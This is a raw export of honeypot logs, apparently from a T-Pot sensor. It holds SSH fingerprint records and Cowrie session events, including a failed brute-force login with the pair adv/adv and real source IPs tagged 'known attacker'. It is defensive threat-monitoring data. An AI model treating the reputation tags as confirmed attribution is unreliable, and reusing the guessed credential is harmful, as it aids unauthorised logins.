"ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44702, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.995930", "@timestamp": "2021-09-20T11:06:16.995Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22123	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:17.323444+03	2021-09-20 14:15:04.525643+03	{"_id": "7gXiAnwBvYTbRNuEnfwt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44116, "timestamp": "2021-09-20T11:06:17.323444", "@timestamp": "2021-09-20T11:06:17.323Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22124	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:17.586264+03	2021-09-20 14:15:04.527643+03	{"_id": "7wXiAnwBvYTbRNuEnfwt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51104, "timestamp": "2021-09-20T11:06:17.586264", "@timestamp": "2021-09-20T11:06:17.586Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22125	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:17.586352+03	2021-09-20 14:15:04.528642+03	{"_id": "8AXiAnwBvYTbRNuEnfwt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51104, "dest_port": 22, "timestamp": "2021-09-20T11:06:17.586352", "@timestamp": "2021-09-20T11:06:17.586Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22126	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:17.598417+03	2021-09-20 14:15:04.529646+03	{"_id": "8QXiAnwBvYTbRNuEnfwt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44116, "dest_port": 22, "timestamp": "2021-09-20T11:06:17.598417", "@timestamp": "2021-09-20T11:06:17.598Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22133	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:18.016383+03	2021-09-20 14:15:04.539612+03	{"_id": "-AXiAnwBvYTbRNuEnfwt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:18.016383Z", "@timestamp": "2021-09-20T11:06:18.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
22127	42.192.44.134	109.199.241.180	Cowrie	2021-09-20 14:06:17.321171+03	2021-09-20 14:15:04.531642+03	{"_id": "8gXiAnwBvYTbRNuEnfwt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.44.134", "eventid": "cowrie.login.failed", "message": "login attempt [adv/adv] failed", "session": "d09007e594dd", "@version": "1", "password": "adv", "username": "adv", "timestamp": "2021-09-20T11:06:17.321171Z", "@timestamp": "2021-09-20T11:06:17.321Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22128	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:17.346906+03	2021-09-20 14:15:04.532649+03	{"_id": "8wXiAnwBvYTbRNuEnfwt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 0, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "b4bea569a9b9f7a86e4de8a5fade39f70afe914f10eba55b8893bef642991d98", "src_ip": "223.241.247.214", "ttylog": "log/tty/b4bea569a9b9f7a86e4de8a5fade39f70afe914f10eba55b8893bef642991d98", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/b4bea569a9b9f7a86e4de8a5fade39f70afe914f10eba55b8893bef642991d98 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.28472113609313965, "duplicate": false, "timestamp": "2021-09-20T11:06:17.346906Z", "@timestamp": "2021-09-20T11:06:17.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
22129	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:17.347832+03	2021-09-20 14:15:04.533643+03	{"_id": "9AXiAnwBvYTbRNuEnfwt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0abdc9a421c4", "@version": "1", "duration": 2.9193756580352783, "timestamp": "2021-09-20T11:06:17.347832Z", "@timestamp": "2021-09-20T11:06:17.347Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22130	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:17.598646+03	2021-09-20 14:15:04.535614+03	{"_id": "9QXiAnwBvYTbRNuEnfwt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "10e274bbe592", "@version": "1", "timestamp": "2021-09-20T11:06:17.598646Z", "@timestamp": "2021-09-20T11:06:17.598Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zl